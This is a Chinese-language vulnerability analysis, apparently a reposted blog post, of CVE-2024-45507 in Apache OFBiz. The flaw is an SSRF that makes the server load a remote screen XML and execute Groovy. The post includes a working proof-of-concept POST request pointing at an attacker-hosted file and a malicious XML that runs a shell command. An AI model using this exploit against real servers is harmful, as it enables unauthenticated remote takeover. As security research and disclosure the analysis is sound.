Apache OFBiz SSRF漏洞CVE-2024-45507分析

admin 2024年9月28日09:59:16评论15 views字数 2096阅读6分59秒阅读模式
Apache OFBiz SSRF漏洞CVE-2024-45507分析

Apache OFBiz介绍

Apache OFBiz 是一个功能丰富的开源电子商务平台,包含完整的商业解决方案,适用于多种行业。它提供了一套全面的服务,包括客户关系管理(CRM)、企业资源规划(ERP)、订单管理、产品目录、在线交易等。OFBiz提供了强大的 Java Web 框架、成熟的 CRM 和 ERP 功能,Apache OFBiz 的架构设计考虑了开发人员的便利性,它的灵活性和模块化设计使得它能够适应各种业务需求,无论是小型企业还是大型企业。Apache OFBiz 已经发展了超过10年,作为一个企业范围内的 ERP 解决方案,它已经显示出其稳定性和成熟性,通过使用 Apache OFBiz,企业可以实现高效的业务流程自动化,提高运营效率,降低成本。

漏洞背景

  近期,Apache Ofbiz团队发布了一则安全通知,宣布修补了一个存在于Apache Ofbiz软件中的严重安全漏洞,该漏洞被分配为CVE-2024-45507。由于Apache OFBiz在从Groovy加载文件时未对用户提交的数据进行过滤,未经身份验证的恶意攻击者通过服务器端请求伪造的方式向任意系统发起请求,加载远程恶意xml执行任意代码,从而获取目标服务器的控制权限,具体来说,攻击者可以构造一个恶意的 XML 文件,并通过 SSRF 攻击让 Apache OFBiz 的服务器加载并执行这个文件中的 Groovy 脚本。

漏洞分析

查看官方的修复代码如下:

https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

之前默认能接收远程文件来渲染screen。

Apache OFBiz SSRF漏洞CVE-2024-45507分析

比如该screen,screen 文件是 OFBiz 的一部分,用于定义屏幕布局。这段代码定义了一个名为 StatsSinceStart 的屏幕,用于展示统计信息。

Apache OFBiz SSRF漏洞CVE-2024-45507分析

在XML配置文件中,定义了一个名为`的标签,其 name`属性设置为 "StatsDecorator",而location属性则通过 ${parameters.statsDecoratorLocation} 动态获取。当Ofbiz解析这个XML文件时,它会根据指定的参数再次渲染该段代码。

之后再调用this.getLocation方法解析传入模板中的parameters参数。

Apache OFBiz SSRF漏洞CVE-2024-45507分析

在此场景中,可以通过URL传递一个参数来动态指定标签的 location 属性的值。getScreenFromLocation 方法中,会根据URL传递的参数来获取配置信息,并将其作为模板进行解析处理。

Apache OFBiz SSRF漏洞CVE-2024-45507分析

POC为:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1Host: server:8443Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 64statsDecoratorLocation=http://vps /poc.xml
接收的URL将被视作一个模型屏幕(modelScreen)并进行解析,参照可以根据代码中的示例来构建一个概念验证包含命令的XML文件。
Apache OFBiz SSRF漏洞CVE-2024-45507分析

参考其语法,包含可执行命令的远程XMl文件构造如下:

<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">    <screen name="StatsDecorator">        <section>            <actions>                <set value="${groovy:'touch /tmp/poc.execute();}"/>            </actions>        </section>    </screen></screens>

向ofbiz发送该POC请求。

Apache OFBiz SSRF漏洞CVE-2024-45507分析

之后查看服务器目录,成功执行了命令。

Apache OFBiz SSRF漏洞CVE-2024-45507分析
Apache OFBiz SSRF漏洞CVE-2024-45507分析

最佳实践、技术实践、案例研究

安全测评、前沿技术、安全工具

 Apache OFBiz SSRF漏洞CVE-2024-45507分析

    洞源实验室

    知识星球 : 洞源

    B站:洞源实验室

原文始发于微信公众号(洞源实验室):Apache OFBiz SSRF漏洞CVE-2024-45507分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日09:59:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache OFBiz SSRF漏洞CVE-2024-45507分析https://cn-sec.com/archives/3216313.html

发表评论

匿名网友 填写信息